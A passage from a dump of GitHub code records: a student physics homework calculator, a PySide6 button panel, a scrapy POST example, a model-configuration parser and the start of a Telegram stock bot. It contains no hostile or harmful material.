dictionary\n\t\tvelocity1= float(input(\"left the pitcher's hand at a speed of : \"))\n\t\tvelocity2 = 0\n\t\tdistance = float(input(\"The pitcher was in contact with the ball over a distance of: \"))\n\n\t\t\n\n\t\tacceleration = ((velocity1**2)-velocity2)/(2*distance)\n\t\ttime_to_pitch = velocity1/ acceleration\n\t\t\n\t\tprint(\"What acceleration did he give the ball? \",acceleration,\"m/s^2\")\n\t\tprint(\"How much time did it take him to pitch it?\",time_to_pitch,\"s\")\n\t\t\n\t\n\tdef slow_down_airbag(self):\n\t\t\"\"\"\n\t\t During an auto accident, the vehicle's airbags deploy and slow down the passengers more gently than if they \n\t\t had hit the windshield or steering wheel. According to safety standards, airbags produce a maximum acceleration of 60g\n \t\t that lasts for only 36 ms (or less).\n\t\t \n\t\t How far (in meters) does a person travel in coming to a complete stop in 36 ms at a constant acceleration of 60 g?\n\t\t using the equation of motion v = u + at, final speed v = 0, a = -60 * 9.81, t = 36 * 10^-3, \n\t\t equation of motion v^2 = u^2 + 2as\t\t\n\t\t \n\t\t IDENTIFY: If a person comes to a stop in 36 ms while slowing down with an acceleration of 60 g , or 588 m/s2\n , how far does he travel during this time?\n \n SET UP: Let +x be the direction the person travels. vx=0 (he stops), \n ax is negative since it is opposite to the direction of the motion, and t=36ms=3.6×10−2s\n The equations vx=v0x+axt and x=x0+v0xt+12a x t2 both apply since the acceleration is constant.\n \n EXECUTE: Solving vx=v0x+axt for v0x gives v0x=−axt Then x=x0+v0xt+12axt2\n gives x=−12axt2=−12(−588m/s2)(3.6×10−2s)2= 38cm\n \n EVALUATE: Notice that we were not given the initial speed, but we could find it:\n v0x=−axt=−(−588m/s2)(36×10−3s)=21m/s=47mph\n .\n\t\t \"\"\"\n\t\t# Ask the user the questions and store the values in the dictionary\n\t\tmax_acceleration = float(input(\"Enter airbags maximum acceleration: \"))\n\t\ttime_accelerated = float(input(\"How was the max time that air bag accelerates for: \"))\n\n\t\t\n\n\t\tacceleration = max_acceleration * 9.81\n\t\tprint(\"Acceleration\",acceleration)\n\t\ttime = time_accelerated * (10**(-3))\n\t\tinitial_velocity = acceleration * time\n\t\tprint(\"U \",initial_velocity)\n\t\tdistance_to_stop = ((initial_velocity**2) / (2*acceleration))\n\t\t\n\t\tprint(\"How far (in meters) does a person travel in coming to a complete stop in 36 ms at a constant acceleration of 60 g?\",distance_to_stop,\"m\")\n\t\t\n\t\t\n\tdef flea_jump(self):\n\t\t\"\"\"\n\t\t If a flea can jump straight up to a height of 0.350 m, what is its initial speed as it leaves the ground? 2.62m/s\n\t\t The equation of motion v^2 = u^2 -2gh, is used where v is the final speed and u is the initial speed and at highest point velocity is 0\n\t\t and is substituted in the equation of motion to calculate initial speed. \n\t\t IDENTIFY: Apply the constant acceleration equations to the motion of the flea. After the flea leaves the ground, ay=g\n , downward. Take the origin at the ground and the positive direction to be upward.\n \n SET UP: At the maximum height vy=0\n vy=0, y−y0=0.350m, ay=−9.80 m/s2, v0y=? v2y=v20y+2ay(y−y0)\n \n EXECUTE: v0y=−2ay(y−y0)−−−−−−−−−−√ =−2(−9.80m/s2)(0.350m)−−−−−−−−−−−−−−−−−−−−√ =2.62m/s\n \n\t\t How long is it in the air? 0.535s\n\t\t SET UP: When the flea has returned to the ground y−y0= 0y − y0=0 , v0y = +2.62m/s, ay = −9.80m/s2, t=?\n\t\t y−y0 = v0yt + 12ayt^2\n\t\t \n\t\t EXECUTE: With y−y0 = 0 this gives t= −2v0yay =−2(2.62m/s) − 9.80m/s2 =0.535s\n\t\t \n\t\t EVALUATE: We can use vy=v0y + ayt to show that with v0y=2.62m/s, vy=0 after 0.267s\n\t\t \"\"\"\n\t\t# Ask the user the questions and store the values in the dictionary\n\t\tflea_jump = float(input(\"flea can jump straight up to a height of?: \"))\n\n\t\t\n\n\t\tacceleration = 2* 9.81\n\t\tinitial_velocity = math.sqrt(flea_jump * acceleration)\n\t\ttime_in_air = (initial_velocity / 9.81) *2\n\t\t\n\t\tprint(f\"If a flea can jump straight up to a height of {flea_jump} m, what is its initial speed as it leaves the ground?\",initial_velocity,\"m/s\")\n\t\tprint(\"How long is it in the air?\",time_in_air,\"s\")\n\t\t\n\t\t\n\tdef juggler (self):\n\t\t\"\"\"\n\t\t A juggler throws a bowling pin straight up with an initial speed of 6.40 m/s\n\t\t The second kinematics equation is the relation between the distance, time, initial velocity, and acceleration of an object.\n\t\t It is represented as: S = ut + 1/2 at^2\n\t\t where\n\t\t S is the distance\n\t\t u is the initial velocity\n\t\t t is the time\n\t\t a is the acceleration\n\t\t If the projectile started moving from the rest then the initial velocity of the projectile is zero.\n\t\t \n\t\t \n\t\t IDENTIFY: The pin has a constant downward acceleration of 9.80m/s2 and returns to its initial position.\n\t\t SET UP: We can use the kinematics formulas for constant acceleration.\n\t\t EXECUTE: The kinematics formulas give y−y0 = v0yt + 12ayt^2 . We know that y−y0=0\n\t\t , so t = −2v0y / ay = −2(6.40m/s) / −9.80m/s2 = +1.31s\n\t\t \n\t\t EVALUATE: It takes the pin half this time to reach its highest point and the remainder of the time to return.\n\t\t \n\t\t How much time elapses until the bowling pin returns to the juggler's hand? +1.31s\n\t\t \n\t\t \"\"\"\n\t\t# Ask the user the questions and store the values in the dictionary\n\t\tinitial_velocity = float(input(\"A juggler throws a bowling pin straight up with an initial speed of ?: \"))\n\n\n\t\ttime_elapse = (2 * initial_velocity ) / 9.8\n\t\t\n\t\tprint(f\"How much time elapses until the bowling pin returns to the juggler's hand?\",time_elapse,\"s\")\n\t\t\n\t\n\tdef egg_throw (self):\n\t \t\n\t\t\"\"\"\n\t\t An egg is thrown nearly vertically upward from a point near the cornice of a tall building. It just misses the cornice on the way down and passes a point a distance 47.0 m\n\t\t below its starting point at a time 5.00 s after it leaves the thrower's hand. Air resistance may be ignored.\n\t\t x ( t ) = vt - 1/2 g t2\n\t\t \n\t\t What is the initial speed of the egg? 15.1 s\n\t\t How high does it rise above its starting point? 11.6 s\n\t\t the magnitude of its velocity at the highest point ZERO\n\t\t the magnitude of its acceleration at the highest point is same as a = g, g = 9.8\n\t What is the direction of its acceleration at the highest point? down\n\t\t \"\"\"\n\t\t# Ask the user the questions and store the values in the dictionary\n\t\tx_t = float(input(\"the cornice on the way down and passes a point a distance ?: \"))\n\t\ttime = float(input(\"below its starting point at a time __ s, after it leaves the thrower's hand?: \"))\n\n\n\t\tinitial_velocity = (((1/2)*-9.8) * (time**2) + x_t) / -5\n\t\theight = (initial_velocity**2) / (2 * 9.8)\n\t\n\t\tprint(f\"What is the initial speed of the egg?\",initial_velocity,\"s\")\n\t\tprint(f\"How high does it rise above its starting point?\",height,\"s\")\n\t\t\n\t\n\tdef rocket_launch (self):\n\t \t\n\t\t\"\"\"\n\t\t A rocket starts from rest and moves upward from the surface of the earth. For the first 10.0 s\n \t\t of its motion, the vertical acceleration of the rocket is given by ay=(2.80m/s3)t, where the +y\n -direction is upward.\n What is the height of the rocket above the surface of the earth at t = 10.0 s? 467 m\n What is the speed of the rocket when it is 295 m above the surface of the earth?\n\t\t \"\"\"\n\t\t\n\t\tfunction_str = input(\"Enter function (integrate function): \")\n\t\ttime = float(input(\"For the first ___ s of its motion,: \"))\n\t\tay = float(input(\" the vertical acceleration of the rocket is given by ay: \"))\n\t\ty_t = float(input(\"What is the speed of the rocket when it is ____ m above the surface of the earth??: \"))\n\t\t\n\n\t\tinitial_velocity = ay * (time**3 / 6)\n\t\ttime = (y_t/(2.7/6))**(1/3)\n\t\tvelocity_t = 2.7* ((time)**2)/2\n\t\n\t\tprint(f\"What is the height of the rocket above the surface of the earth at t = 10.0 s?\",initial_velocity,\"m\")\n\t\tprint(f\"What is the speed of the rocket when it is 295 m above the surface of the earth?\",velocity_t,\"m/s\")\n\t\t\n\t\t\n\t\n\tdef motorcycle_acceleration (self):\n\t \t\n\t\t\"\"\"\n\t\t The acceleration of a motorcycle is given by ax(t)=At−Bt, where A=1.50m/s3\n\t\t and B=0.120m/s4. The motorcycle is at rest at the origin at time t=0\n\t\t ax(t) = At - Bt^2\n\t\t \n\t\t Find its velocity as a function of time. Letters A and B are not allowed in the answer. ( 0.75 m/s^3) t^2 - ( 0.04 m/s^4) t^3 m\n\t\t dv = acceleration * distance * time\n\t\t acceleration = dv / dt, v is the velocity of the body\n\t\t \n\t\t Find its position as a function of time. Letters A and B are not allowed in the answer\n\t\t Velocity, v = dx / dt, where x represents the position of body.\n\t\t dx = vdt\n\t\t \n\t\t Calculate the maximum velocity it attains. Letters A and B are not allowed in the answer\n\t\t v(t) = At^2 / 2 - Bt^3 / 3\n\t\t dv/dt = At - Bt^2 = 0\n\t\t \"\"\"\n\t\t\n\t\tprint(\"The acceleration of a motorcycle is given by ax(t) = At - Bt^2\")\n\t\tA = float(input(\"where A=: \"))\n\t\tB = float(input(\" and B=: \"))\n\t\ttime_0 = float(input(\"The motorcycle is at rest at the origin at time t=: \"))\n\t\t\n\n\t\tresult_a = A/2 \n\t\tresult_b = B/3\n\t\tresult_c = A/6\n\t\tresult_d = B/12\n\t\tmax_velocity_time = (A)/(B)\n\t\tmax_velocity = result_a * max_velocity_time**2 - result_b * max_velocity_time**3\n\t\n\t\tprint(f\"Find its velocity as a function of time. Letters A and B are not allowed in the answer. v(t) = (\",result_a,\"m/s^3) t^2 - (\",result_b,\"m/s^4) t^3\",\"m\")\n\t\tprint(f\"Find its position as a function of time. Letters A and B are not allowed in the answer. x(t) = (\",result_c,\"m/s^3) t^3 - (\",result_d,\"m/s^4) t^4\",\"m\")\n\t\tprint(f\"Calculate the maximum velocity it attains. Letters A and B are not allowed in the answer.\",max_velocity,\"m/s\")\n\t\t\n\t\n\t\n\tdef user_choice(self):\n\t\tprint(\"Choose an option:\")\n\t\tprint(\"1. Calculate average velocity\")\n\t\tprint(\"2. Calculate average speed\")\n\t\tprint(\"3. Calculate average velocity or instant velocity given a function\")\n\t\tprint(\"4. Calculate instant velocity\")\n\t\tprint(\"5. What is its speed at the first point?\")\n\t\tprint(\"6. What acceleration did he give the ball?\")\n\t\tprint(\"7. How far (in meters) does a person travel in coming to a complete stop in 36 ms at a constant acceleration of 60 g?\")\n\t\tprint(\"8. If a flea can jump straight up to a height of 0.350 m, what is its initial speed as it leaves the ground?\")\n\t\tprint(\"9. How much time elapses until the bowling pin returns to the juggler's hand?\")\n\t\tprint(\"10. How much time elapses until the bowling pin returns to the juggler's hand?\")\n\t\tprint(\"11. What is the height of the rocket above the surface of the earth at t= 10.0 s??\")\n\t\tprint(\"12. Find its velocity as a function of time. Letters A and B are not allowed in the answer.?\")\n\t\tchoice = input(\"Enter the corresponding number: \")\n\t\tif choice == '1':\n\t\t\tself.calculate_average_velocity()\n\t\telif choice == '2':\n\t\t\tself.calculate_average_speed()\n\t\telif choice == '3':\n\t\t\tself.average_velocity_given_function()\n\t\telif choice == '4':\n\t\t\tself.calculate_instant_velocity()\n\t\telif choice == '5':\n\t\t\tself.calculate_constant_acceleration()\n\t\telif choice == '6':\n\t\t\tself.baseball_acceleration()\n\t\telif choice == '7':\n\t\t\tself.slow_down_airbag()\n\t\telif choice == '8':\n\t\t\tself.flea_jump()\n\t\telif choice == '9':\n\t\t\tself.juggler()\n\t\telif choice == '10':\n\t\t\tself.egg_throw()\n\t\telif choice == '11':\n\t\t\tself.rocket_launch()\n\t\telif choice == '12':\n\t\t\tself.motorcycle_acceleration()\n\t\telse:\n\t\t\tprint(\"Invalid choice. Please enter '1' through '10'.\")\n\n\n\n# Create an instance of the class\ncalculator = Physic()\n\n# Call the average_velocity method to calculate and display the result\ncalculator.user_choice()\n","repo_name":"RedNixTV/School","sub_path":"School/physics_hw2.py","file_name":"physics_hw2.py","file_ext":"py","file_size_in_byte":19291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11973549591","text":"from PySide6.QtWidgets import *\n\nTITLE_TRANSFORM_FRONT = 'Re'\nTITLE_TRANSFORM_TOP = '↑'\nTITLE_TRANSFORM_DEEP = '↓'\nTITLE_TRANSFORM_LEFT = '←'\nTITLE_TRANSFORM_RIGHT = '→'\n\ncall_event = None\n\n\ndef create():\n transform_panel = QWidget()\n transform_panel.setStyleSheet(\"background-color:lightGray;\")\n transform_panel.setFixedSize(130, 130)\n\n transform_group = QHBoxLayout()\n transform_panel.setLayout(transform_group)\n\n transform_l = QHBoxLayout()\n transform_v = QVBoxLayout()\n transform_r = QVBoxLayout()\n\n # object 회전 버튼\n front_btn = QPushButton(TITLE_TRANSFORM_FRONT)\n front_btn.clicked.connect(re_btn_click)\n front_btn.setStyleSheet(\"QPushButton { text-align: center; }\")\n front_btn.setStyleSheet(\"background-color:darkGray;\")\n front_btn.setFixedSize(30, 20)\n\n top_btn = QPushButton(TITLE_TRANSFORM_TOP)\n top_btn.clicked.connect(up_btn_click)\n top_btn.setStyleSheet(\"QPushButton { text-align: center; }\")\n top_btn.setStyleSheet(\"background-color:darkGray;\")\n top_btn.setFixedSize(30, 20)\n\n deep_btn = QPushButton(TITLE_TRANSFORM_DEEP)\n deep_btn.clicked.connect(down_btn_click)\n deep_btn.setStyleSheet(\"QPushButton { text-align: center; }\")\n deep_btn.setStyleSheet(\"background-color:darkGray;\")\n deep_btn.setFixedSize(30, 20)\n\n left_btn = QPushButton(TITLE_TRANSFORM_LEFT)\n left_btn.clicked.connect(left_btn_click)\n left_btn.setStyleSheet(\"QPushButton { text-align: center; }\")\n left_btn.setStyleSheet(\"background-color:darkGray;\")\n left_btn.setFixedSize(30, 20)\n\n right_btn = QPushButton(TITLE_TRANSFORM_RIGHT)\n right_btn.clicked.connect(right_btn_click)\n right_btn.setStyleSheet(\"QPushButton { text-align: center; }\")\n right_btn.setStyleSheet(\"background-color:darkGray;\")\n right_btn.setFixedSize(30, 20)\n\n # 위젯: 그룹\n transform_l.addWidget(left_btn)\n transform_v.addWidget(top_btn)\n transform_v.addWidget(front_btn)\n transform_v.addWidget(deep_btn)\n transform_r.addWidget(right_btn)\n transform_group.addLayout(transform_l)\n transform_group.addLayout(transform_v)\n transform_group.addLayout(transform_r)\n\n return transform_panel\n\n\ndef re_btn_click():\n \"\"\"\n Property(ButtonEvent method): front_btn_click\n :return:\n \"\"\"\n print('cross_button: front_btn_click')\n call = call_event\n call('re')\n\n\ndef up_btn_click():\n \"\"\"\n Property(ButtonEvent method): top_btn_click\n :return:\n \"\"\"\n print('cross_button: top_btn_click')\n call = call_event\n call('up')\n\n\ndef down_btn_click():\n \"\"\"\n Property(ButtonEvent method): down_btn_click\n :return:\n \"\"\"\n print('cross_button: deep_btn_click')\n call = call_event\n call('down')\n\n\ndef left_btn_click():\n \"\"\"\n Property(ButtonEvent method): left_btn_click\n :return:\n \"\"\"\n print('cross_button: left_btn_click')\n call = call_event\n call('left')\n\n\ndef right_btn_click():\n \"\"\"\n Property(ButtonEvent method): right_btn_click\n :return:\n \"\"\"\n print('cross_button: right_btn_click')\n call = call_event\n call('right')","repo_name":"sungminYoon/NCC_3D_ALPA","sub_path":"NCC_3D/APP/util/cross_button.py","file_name":"cross_button.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25391640808","text":"import scrapy\nimport json\n\nclass PostDemoSpider(scrapy.Spider):\n name = 'post_demo'\n allowed_domains = ['https://fanyi.baidu.com/sug']\n # post请求,如果没有参数,那么这个请求将没有任何意义\n # 所以start_urls 也没有用了\n # parse方法也没有用了\n # start_urls = ['http://fanyi.baidu.com/']\n\n # def parse(self, response):\n # pass\n\n # get 请求用parse方法,框架封装好的\n # post请求用start_requests,框架封装好的\n\n def start_requests(self):\n url = 'https://fanyi.baidu.com/sug'\n\n data = {\n 'kw':'final'\n }\n\n yield scrapy.FormRequest(url = url, formdata = data, callback = self.parse_second)\n\n def parse_second(self, response):\n\n content = response.text\n obj = json.loads(content)\n print(obj)\n","repo_name":"chuyds/crawler_study","sub_path":"scrapy_post_demo/scrapy_post_demo/spiders/post_demo.py","file_name":"post_demo.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"36822204003","text":"\"\"\"\ncimr.configs\n============\n\nDefines config classes that represent various configuration details\nof the CIMR retrievals.\n\"\"\"\nfrom configparser import ConfigParser, SectionProxy\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Optional, Tuple, List, Union\n\nimport numpy as np\nimport torch\nfrom torch import nn\n\nfrom cimr.data.inputs import Input\nfrom cimr.data.reference import ReferenceData\nfrom cimr.data.utils import get_input, get_reference_data\n\n\ndef _parse_list(values, constr=int):\n \"\"\"\n Parses a config value as a list.\n\n Args:\n values: A string containing a space-, comma- or semicolon-separated\n list of values.\n constr: Constructor functional to use to parse the list elements.\n\n Return:\n A list containing the parsed values.\n \"\"\"\n delimiters = [\",\", \";\", \"(\", \")\"]\n for delim in delimiters:\n values = values.replace(delim, \" \")\n values = values.split(\" \")\n return [constr(val) for val in values]\n\n\n@dataclass\nclass InputConfig:\n \"\"\"\n Specification of the input handling of a CIMR model.\n \"\"\"\n input_data: Input\n stem_type: str = \"basic\"\n stem_depth: int = 1\n stem_kernel_size: int = 3\n stem_downsampling: Optional[int] = None\n\n @property\n def scale(self):\n if self.stem_downsampling is None:\n return self.input_data.scale\n return self.input_data.scale * self.stem_downsampling\n\n @property\n def name(self):\n return self.input_data.name\n\n\ndef parse_input_config(section: SectionProxy) -> InputConfig:\n \"\"\"\n Parses an input section from a model configuration file.\n\n Args:\n section: A SectionProxy object representing a section of\n config file, whose type is 'input'\n\n Return:\n An 'InputConfig' object containing the parsed input properties.\n \"\"\"\n name = section.get(\"name\", None)\n if name is None:\n raise ValueError(\n \"Each input section must have a 'name' entry.\"\n )\n inpt = get_input(name)\n stem_type = section.get(\"stem_type\", \"standard\")\n stem_depth = section.getint(\"stem_depth\", 1)\n stem_kernel_size = section.getint(\"stem_kernel_size\", 3)\n stem_downsampling = section.getint(\"stem_downsampling\", 1)\n return InputConfig(\n input_data=inpt,\n stem_type=stem_type,\n stem_depth=stem_depth,\n stem_kernel_size=stem_kernel_size,\n stem_downsampling=stem_downsampling\n )\n\n\n@dataclass\nclass OutputConfig:\n \"\"\"\n Specification of the outputs of handling of a CIMR model.\n \"\"\"\n reference_data: ReferenceData\n variable: str\n loss: str\n shape: Tuple[int] = tuple()\n quantiles: Optional[str] = None\n bins: Optional[str] = None\n transformation: Optional[str] = None\n\n @property\n def scale(self):\n return self.reference_data.scale\n\n\ndef parse_output_config(section: SectionProxy) -> OutputConfig:\n \"\"\"\n Parses an output section from a model configuration file.\n\n Args:\n section: A SectionProxy object representing a section of\n config file, whose type is 'output'\n\n Return:\n An 'OutputConfig' object containing the parsed output properties.\n \"\"\"\n reference_data = section.get(\"reference_data\", None)\n if reference_data is None:\n raise ValueError(\n \"Each input section must have a 'reference_data' entry.\"\n )\n reference_data = get_reference_data(reference_data)\n\n variable = section.get(\"variable\", None)\n if variable is None:\n raise ValueError(\n \"Every output section must have a 'variable' entry.\"\n )\n\n loss = section.get(\"loss\", \"quantile_loss\")\n shape = eval(section.get(\"shape\", \"()\"))\n quantiles = section.get(\"quantiles\", None)\n if quantiles is not None:\n quantiles = eval(quantiles)\n bins = section.get(\"bins\", None)\n if bins is not None:\n bins = eval(bins)\n transformation = section.get(\"transformation\", None)\n\n return OutputConfig(\n reference_data=reference_data,\n variable=variable,\n loss=loss,\n shape=shape,\n quantiles=quantiles,\n bins=bins,\n transformation=transformation\n )\n\n\n@dataclass\nclass EncoderConfig:\n \"\"\"\n Specification of the encoder of a CIMR model.\n \"\"\"\n block_type: str\n channels: List[int]\n stage_depths: List[int]\n downsampling_factors: List[int]\n block_factory_kwargs: Optional[dict] = None\n downsampler_factory: str = \"max_pooling\"\n downsampler_factory_kwargs: Optional[dict] = None\n stage_architecture: str = \"sequential\"\n combined: bool = True\n\n def __init__(\n self,\n block_type: str,\n channels: List[int],\n stage_depths: List[int],\n downsampling_factors: List[int],\n block_factory_kwargs: Optional[dict] = None,\n downsampler_factory: str = \"max_pooling\",\n downsampler_factory_kwargs: Optional[dict] = None,\n stage_architecture: str = \"sequential\",\n combined: bool = True\n ):\n if len(stage_depths) != len(downsampling_factors) + 1:\n raise ValueError(\n \"The number of provided stage depths must exceed that of the\"\n \" downsampling factors by one.\"\n )\n if len(stage_depths) != len(channels):\n raise ValueError(\n \"The number of provided stage depths must match the number of\"\n \"of provided channels.\"\n )\n self.block_type = block_type\n self.channels = channels\n self.stage_depths = stage_depths\n self.downsampling_factors = downsampling_factors\n self.block_factory_kwargs = block_factory_kwargs\n self.downsampler_factory = downsampler_factory\n self.downsampler_factory_kwargs = downsampler_factory_kwargs\n self.stage_architecture = stage_architecture\n self.combined = combined\n\n @property\n def n_stages(self):\n \"\"\" The number of stages in the encoder. \"\"\"\n return len(self.stage_depths)\n\n\ndef parse_encoder_config(section: SectionProxy) -> EncoderConfig:\n \"\"\"\n Parses an encoder section from a model configuration file.\n\n Args:\n section: A SectionProxy object representing a section of\n config file, whose type is 'encoder'\n\n Return:\n An 'EncoderConfig' object containing the parsed encoder\n configuration.\n \"\"\"\n block_type = section.get(\"block_type\", \"convnext\")\n\n keys = [\"channels\", \"stage_depths\", \"downsampling_factors\"]\n args = []\n for key in keys:\n conf = section.get(key, None)\n if conf is None:\n raise ValueError(\n \"'encoder' section of model config must contain a list \"\n f\"of '{key}'.\",\n )\n args.append(_parse_list(conf, int))\n\n block_factory_kwargs = eval(\n section.get(\"block_factory_kwargs\", \"{}\")\n )\n downsampler_factory = section.get(\"downsampler_factory\", \"max_pooling\")\n downsampler_factory_kwargs = eval(\n section.get(\"downsampler_factory_kwargs\", \"{}\")\n )\n stage_architecture = section.get(\"stage_architecture\", \"sequential\")\n combined = section.getboolean(\"combined\", True)\n\n return EncoderConfig(\n block_type,\n *args,\n block_factory_kwargs=block_factory_kwargs,\n downsampler_factory=downsampler_factory,\n downsampler_factory_kwargs=downsampler_factory_kwargs,\n stage_architecture=stage_architecture,\n combined=combined\n )\n\n\n@dataclass\nclass DecoderConfig:\n \"\"\"\n Specification of the decoder of a CIMR model.\n \"\"\"\n block_type: str\n channels: List[int]\n stage_depths: List[int]\n upsampling_factors: List[int]\n block_factory_kwargs: Optional[dict] = None\n upsampling_type: Optional[str] = \"upsample\"\n upsampler_factory_kwargs: Optional[dict] = None\n architecture: str = \"sequential\"\n skip_connections: int = 0\n\n def __init__(\n self,\n block_type,\n channels,\n stage_depths,\n upsampling_factors,\n block_factory_kwargs : Optional[dict] = None,\n upsampling_type=\"upsample\",\n upsampler_factory_kwargs={},\n architecture: str = \"sequential\",\n skip_connections: int = 0\n ):\n self.block_type = block_type\n\n if len(channels) != len(stage_depths):\n raise ValueError(\n \"The number of provided channels in the decoder must match \"\n \" that of the its stage depths.\"\n )\n self.channels = channels\n self.stage_depths = stage_depths\n\n if len(upsampling_factors) != len(stage_depths):\n raise ValueError(\n \"The number of provided upsampling factors in the decoder \"\n \" must match that of its stage depths.\"\n )\n self.upsampling_factors = upsampling_factors\n self.block_factory_kwargs = block_factory_kwargs\n self.upsampling_type = upsampling_type\n self.upsampler_factory_kwargs = upsampler_factory_kwargs\n self.architecture = architecture\n self.skip_connections = skip_connections\n\n @property\n def n_stages(self):\n \"\"\" The number of stages in the decoder. \"\"\"\n return len(self.stage_depths)\n\ndef parse_decoder_config(section: SectionProxy) -> DecoderConfig:\n \"\"\"\n Parses a decoder section from a model configuration file.\n\n Args:\n section: A SectionProxy object representing a section of\n config file, whose type is 'decoder'\n\n Return:\n A 'DecoderConfig' object containing the parsed encoder\n configuration.\n \"\"\"\n block_type = section.get(\"block_type\", \"convnext\")\n upsampling_type = section.get(\"upsampler_factory\", \"upsample\")\n\n keys = [\"channels\", \"stage_depths\", \"upsampling_factors\"]\n args = []\n for key in keys:\n conf = section.get(key, None)\n if conf is None:\n raise ValueError(\n \"'decoder' section of model config must contain a list \"\n f\"of '{key}'.\",\n )\n args.append(_parse_list(conf, int))\n\n block_factory_kwargs = eval(\n section.get(\"block_factory_kwargs\", \"None\")\n )\n upsampler_factory_kwargs = eval(\n section.get(\"upsampler_factory_kwargs\", \"{}\")\n )\n architecture = section.get(\"architecture\", \"sequential\")\n skip_connections = section.getint(\"skip_connections\", 0)\n\n return DecoderConfig(\n block_type,\n *args,\n block_factory_kwargs=block_factory_kwargs,\n upsampling_type=upsampling_type,\n upsampler_factory_kwargs=upsampler_factory_kwargs,\n architecture=architecture,\n skip_connections=skip_connections\n )\n\n\n@dataclass\nclass ModelConfig:\n \"\"\"\n Configuration of a CIMR retrieval model.\n \"\"\"\n input_configs: List[InputConfig]\n output_configs: List[OutputConfig]\n encoder_config: EncoderConfig\n decoder_config: DecoderConfig\n\n\ndef get_model_config(name):\n \"\"\"\n Return path to a pre-define model config file.\n\n Args:\n name: The name of the configuration.\n\n Return:\n A path object pointint to the .ini file containing\n the model configuration.\n \"\"\"\n path = Path(__file__).parent / \"model_configs\" / name\n if path.suffix == \"\":\n path = path.with_suffix(\".ini\")\n return path\n\n\ndef parse_model_config(path: Union[str, Path]):\n \"\"\"\n Parse a model config file.\n\n Args:\n path: Path pointing to the model file.\n\n Return:\n A 'ModelConfig' object containing the parsed model\n config.\n\n \"\"\"\n path = Path(path)\n parser = ConfigParser()\n parser.read(path)\n\n input_configs = []\n output_configs = []\n encoder_config = None\n decoder_config = None\n\n # Check for base section\n for section_name in parser.sections():\n if section_name == \"base\":\n from cimr import models\n name = parser[section_name].get(\"name\")\n parser.read(get_model_config(name))\n\n for section_name in parser.sections():\n sec = parser[section_name]\n if not \"type\" in sec:\n continue\n sec_type = sec[\"type\"]\n\n if sec_type == \"input\":\n input_configs.append(parse_input_config(sec))\n elif sec_type == \"output\":\n output_configs.append(parse_output_config(sec))\n elif sec_type == \"encoder\":\n if encoder_config is not None:\n raise ValueError(\n \"Model config contains multiple encoder sections.\"\n )\n encoder_config = parse_encoder_config(sec)\n elif sec_type == \"decoder\":\n if decoder_config is not None:\n raise ValueError(\n \"Model config contains multiple decoder sections.\"\n )\n decoder_config = parse_decoder_config(sec)\n else:\n raise ValueError(\n \"Model config file contains unknown section of type '%s'\",\n sec_type\n )\n\n return ModelConfig(\n input_configs=input_configs,\n output_configs=output_configs,\n encoder_config=encoder_config,\n decoder_config=decoder_config\n )\n\n\n@dataclass\nclass TrainingConfig:\n \"\"\"\n A description of a training regime.\n \"\"\"\n name: str\n n_epochs: int\n optimizer: str\n optimizer_kwargs: Optional[dict] = None\n scheduler: str = None\n scheduler_kwargs: Optional[dict] = None\n precision: str = \"16-mixed\"\n batch_size: int = 8\n input_size: int = 256\n accelerator: str = \"cuda\"\n sequence_length: Optional[int] = 1\n forecast: Optional[int] = 0\n quality_threshold: float = 0.8\n pretraining: bool = False\n sample_rate: int = 1\n gradient_clipping: Optional[float] = None\n data_loader_workers: int = 4\n minimum_lr: Optional[float] = None\n reuse_optimizer: bool = False\n stepwise_scheduling: bool = False\n\n\ndef parse_training_config(path: Union[str, Path]):\n \"\"\"\n Parse a training config file.\n\n Args:\n path: Path pointing to the training config file.\n\n Return:\n A list 'TrainingConfig' objects representing the training\n passes to perform.\n \"\"\"\n path = Path(path)\n parser = ConfigParser()\n parser.read(path)\n\n training_configs = []\n\n for section_name in parser.sections():\n\n sec = parser[section_name]\n\n n_epochs = sec.getint(\"n_epochs\", 1)\n optimizer = sec.get(\"optimizer\", \"SGD\")\n optimizer_kwargs = eval(sec.get(\"optimizer_kwargs\", \"{}\"))\n scheduler = sec.get(\"scheduler\", None)\n scheduler_kwargs = eval(sec.get(\"scheduler_kwargs\", \"{}\"))\n precision = sec.get(\"precision\", \"16-mixed\")\n sample_rate = sec.getint(\"sample_rate\", 1)\n batch_size = sec.getint(\"batch_size\", 8)\n data_loader_workers = sec.getint(\"data_loader_workers\", 8)\n minimum_lr = sec.getfloat(\"minimum_lr\", None)\n reuse_optimizer = sec.getboolean(\"reuse_optimizer\", False)\n stepwise_scheduling = sec.getboolean(\"stepwise_scheduling\", False)\n\n training_configs.append(TrainingConfig(\n name=section_name,\n n_epochs=n_epochs,\n optimizer=optimizer,\n optimizer_kwargs=optimizer_kwargs,\n scheduler=scheduler,\n scheduler_kwargs=scheduler_kwargs,\n precision=precision,\n sample_rate=sample_rate,\n batch_size=batch_size,\n data_loader_workers=data_loader_workers,\n minimum_lr=minimum_lr,\n reuse_optimizer=reuse_optimizer,\n stepwise_scheduling=stepwise_scheduling\n ))\n\n return training_configs\n","repo_name":"simonpf/cimr","sub_path":"cimr/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":15788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"75030177831","text":"from Person import Person\nimport telebot\nimport config\nimport datetime\nimport Stock\n\nfrom telebot import types\n\nbot = telebot.TeleBot(config.TOKEN)\n\nmarkupMain = types.ReplyKeyboardMarkup(resize_keyboard=True)\nitemMain1 = types.KeyboardButton(\"Посмотреть баланс\")\nitemMain2 = types.KeyboardButton(\"Портфолио\")\nmarkupMain.add(itemMain1, itemMain2)\n\nperson = Person()\n\n@bot.message_handler(commands=['start'])\ndef welcome(message):\n\tperson.set_person(message.chat.id, message.chat.username)\n\n\tbot.send_message(message.chat.id, \"Добро пожаловать, {0.first_name}!\\nЯ - {1.first_name}\".format(message.from_user, bot.get_me()), parse_mode='html', reply_markup=markupMain)\n\n@bot.message_handler(commands=['sell'])\ndef sell_message(message):\n\tperson.set_person(message.chat.id, message.chat.username)\n\tperson.sold_stock(1, 